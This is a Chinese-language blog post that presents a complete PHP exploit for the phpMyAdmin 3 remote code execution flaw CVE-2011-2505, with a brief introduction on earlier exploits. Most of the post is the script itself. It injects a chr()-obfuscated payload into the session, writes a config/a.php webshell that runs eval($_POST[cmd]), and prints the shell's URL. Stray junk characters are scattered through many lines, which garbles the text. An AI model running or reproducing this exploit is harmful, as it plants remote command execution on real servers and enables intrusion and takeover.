phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
9 H! f' J0 ~9 G" d# J
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
' W, u: S9 ]- F8 V
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
( @, N6 b* l- N8 B" {
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
<?php
print_r('
% F+ \9 S! R& a( c& y+---------------------------------------------------------------------------+
- b  Z1 \" f, z5 l, Ppma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
' [+ w2 a, X' ]$ O& ^* h) e) R4 Ewelcome to www.t00ls.net
; m3 ?) g& G6 L& Y/ d5 |, N/ |mail: oldjun@gmail.com
' g* O! u, l1 q5 rAssigned CVE id: CVE-2011-2505
: q8 m# C* m0 t! A* H+---------------------------------------------------------------------------+
');
$ G( |/ H4 t6 o! E7 x8 O# A
3 [$ x: d# K9 k. Y/**
7 t% k8 o$ Y7 X2 v' b * working when the directory:"config" exists and is writeable.
' B, g7 K5 V0 c# _) p8 F**/

if ($argc < 3) {
: X3 w$ _% M) V  P- k9 V. }    print_r('
+ q( `# I2 G4 ?; _' l+ o4 i+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
- R; H$ ?1 w/ m1 G: z! T+---------------------------------------------------------------------------+
7 h1 Z( h7 {# [9 l  o7 P# |$ i');
; S4 a4 `) _9 P' U    exit;
. G) f, P4 R$ t- g. k- }}
+ |" }" t: ?, \: }- h% L
' a& M( w7 [! {3 m8 r! K$host = $argv[1];
9 L4 V7 J8 B8 ?2 q  Q6 a% v$ w8 M$path = $argv[2];

1 R0 O% {! |" X! P/**
/ Y5 Q9 q: X6 l- u  v* y: m * Try to determine if the directory:"config" exists
**/
" D! r3 C* u- Z# ^* [0 x8 W4 A5 B3 }echo "[+] Try to determine if the directory:config exists....\n";
' P; P8 A0 ?; O; Y9 K9 D( i* R$returnstr=php_request('config/');
9 H9 V+ q1 \( A, o, e6 N# Yif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
2 n6 b. E; c8 e0 i$ w- ~: l/ Xif($token && $sessionid){
1 R& M/ b7 v$ p- _. D    echo "[+] tokentoken\n";
, P6 u  e! j8 R# K$ X# A    echo "[+] Session IDsessionid\n";
}else{
% g2 k* ?0 ~5 z) D! ?    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

) j# W. b) L% z  P/**
9 i. F/ `+ B) k% V( N7 Q: s" ]( P * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
6 ^- A8 T2 ^$ G) z1 _- Z& H; ophp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
, t3 a" l5 w0 M% A
/**
* Try to create webshell
' A, U; V% O4 d) ~2 J4 B**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
0 W" i* P% Q8 J * Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
7 Q0 R% P; x/ ?    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

. C' S  B( B% s$ O' D' ifunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
    $method=$data?'POST':'GET';
   
. M9 M3 N- Z! j  K& t6 B    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
# ]6 O6 f4 Q3 A& }    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
% J  x% O5 _- C7 v    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
7 x) I  F* T% K) D/ b    echo 'No response from '.$host; die;
    }
9 d& V/ O  g6 }( @" R    fputs($fp, $packet);
* X1 Y. T4 l/ A+ c0 ~# o. h
    $resp = '';

6 Q9 h8 K5 N: ?( _4 O- p+ t7 i    while ($fp && !feof($fp))
5 w8 o$ D$ e! j        $resp .= fread($fp, 1024);

. D1 S5 G, |. W: g$ X  `* n    return $resp;
}
   
2 |! F! \. O' m4 e! W0 V?>
$ {1 x! v$ r: Y" G% y! s.